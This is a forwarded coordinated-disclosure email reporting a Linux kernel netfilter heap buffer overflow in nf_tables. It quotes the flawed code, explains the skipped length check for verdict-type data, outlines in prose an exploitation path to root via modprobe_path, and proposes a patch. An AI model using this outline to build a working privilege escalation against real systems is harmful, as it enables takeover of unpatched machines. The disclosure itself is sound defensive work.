via oss-sec no cve yet, I requested one directly via Mitre webform. https://www.openwall.com/lists/oss-security/2022/07/02/3 https://lore.kernel.org/netfilter-devel/cd9428b6-7ffb-dd22-d949-d86f4869f452@randorisec.fr/T/#u I'm sorry I got the encoding wrong, breaking the non-breaking spaces. Let me try again, below. (Not trying to fix the line wrapping, which would be too invasive an edit to make to someone else's message.) ----- Forwarded message from Hugues ANGUELKOV <hanguelkov@...dorisec.fr> ----- Date: Fri, 1 Jul 2022 17:43:16 +0200 To: linux-distros Cc: security, pablo, kadlec, fw, netfilter-devel, coreteam, davy, amongodin From: Hugues ANGUELKOV <hanguelkov@...dorisec.fr> Subject: [vs] Netfilter vulnerability disclosure Hello everyone, One of our collaborators at RandoriSec, Arthur Mongodin found a vulnerability within the netfilter subsystem during his internship. Successful exploitation of this bug leads to a Local Privilege Escalation (LPE) to the `root` user, as tested on Ubuntu server 22.04 (Linux 5.15.0-39-generic). This vulnerability is a heap buffer overflow due to a weak check and has been introduced within the commit [fdb9c405e35bdc6e305b9b4e20ebc141ed14fc81](https://github.com/torvalds/linux/commit/fdb9c405e35bdc6e305b9b4e20ebc141ed14fc81), it affects the Linux kernel since the version 5.8 and is still present today. The heap buffer overflow happens in the function `nft_set_elem_init` (`/net/netfilter/nf_tables_api.c`) ```c void *nft_set_elem_init(const struct nft_set *set, const struct nft_set_ext_tmpl *tmpl, const u32 *key, const u32 *key_end, const u32 *data, u64 timeout, u64 expiration, gfp_t gfp) { struct nft_set_ext *ext; void *elem; elem = kzalloc(set->ops->elemsize + tmpl->len, gfp); <===== (0) if (elem == NULL) return NULL; ... if (nft_set_ext_exists(ext, NFT_SET_EXT_DATA)) memcpy(nft_set_ext_data(ext), data, set->dlen); <===== (1) ... return elem; } ``` A buffer is allocated at (0) without taking in consideration the value `set->dlen` used at (1) for the copy. The computation of the needed space (`tmpl->len`) is realized before the call to `nft_set_elem_init`, however, a weak check on a user input allows a user to provide an element with a data length lower than the `set->dlen` for the allocation. This check is located within the function `nft_set_elem_parse_data` (`/net/netfilter/nf_tables_api.c`). ```c static int nft_setelem_parse_data(struct nft_ctx *ctx, struct nft_set *set, struct nft_data_desc *desc, struct nft_data *data, struct nlattr *attr) { ... if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) { <===== (2) nft_data_release(data, desc->type); return -EINVAL; } return 0; } ``` As we can see at (2), if the data type is `NFT_DATA_VERDICT`, the comparison between `desc->len` and `set->dlen` is not done. Finally, `desc->len` it is used to compute `tmpl->len` at (0) and `set->dlen` for the copy at (1) and they can be different. The vulnerable code path can be reached if the kernel is built with the configuration `CONFIG_NETFILTER`, `CONFIG_NF_TABLES` enabled. To exploit the vulnerability, an attacker may need to obtain an unprivileged user namespace to gain the capability `CAP_NET_ADMIN` (`CONFIG_USER_NS` and `CONFIG_NET_NS` enabled, and `kernel.unprivileged_userns_clone = 1`). The exploitation was simplified by the use of an uninitialized variable in `nft_add_set_elem`: ```c static int nft_add_set_elem(struct nft_ctx *ctx, struct nft_set *set, const struct nlattr *attr, u32 nlmsg_flags) { struct nft_set_elem elem; ... } ``` First we add an `elem` with the type `NFT_DATA_VALUE`, then `elem.data` will be filled `set->dlen` bytes, the second iteration will only erase the first bytes of `elem.data` with an element of type `NFT_DATA_VERDICT`. We get an infoleak by overwriting the field `datalen` of an`user_key_payload` structure. The write primitive can be obtained with an unlinking attack on the `list_head` of the `simple_xattr` structure. We targeted the `modprobe_path` to gain root permission by executing a shell wrapper.

} ``` We propose the following patch. We think that the comparison must be mandatory and may be enough for patch this vulnerability. However, we are not experts at Linux kernel programming and we are still unsure if it will not break something along the way. This patch was applied on the current upstream version. ```diff static int nft_setelem_parse_data(struct nft_ctx *ctx, struct nft_set *set, struct nft_data_desc *desc, struct nft_data *data, struct nlattr *attr) { ... - if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) { + if (desc->len != set->dlen) { nft_data_release(data, desc->type); return -EINVAL; } return 0; } ``` We would like to reserve a CVE for this vulnerability. Also, we would like to release the LPE exploit targeting Ubuntu server along with a more detailed blogpost. If needed, we can supply the exploit. Depending of your workload, we can suggest the August, 15th 2022 as a potential date for public disclosure. Thank you for your attention and we also would like to thank you for all the work put on the Linux kernel.
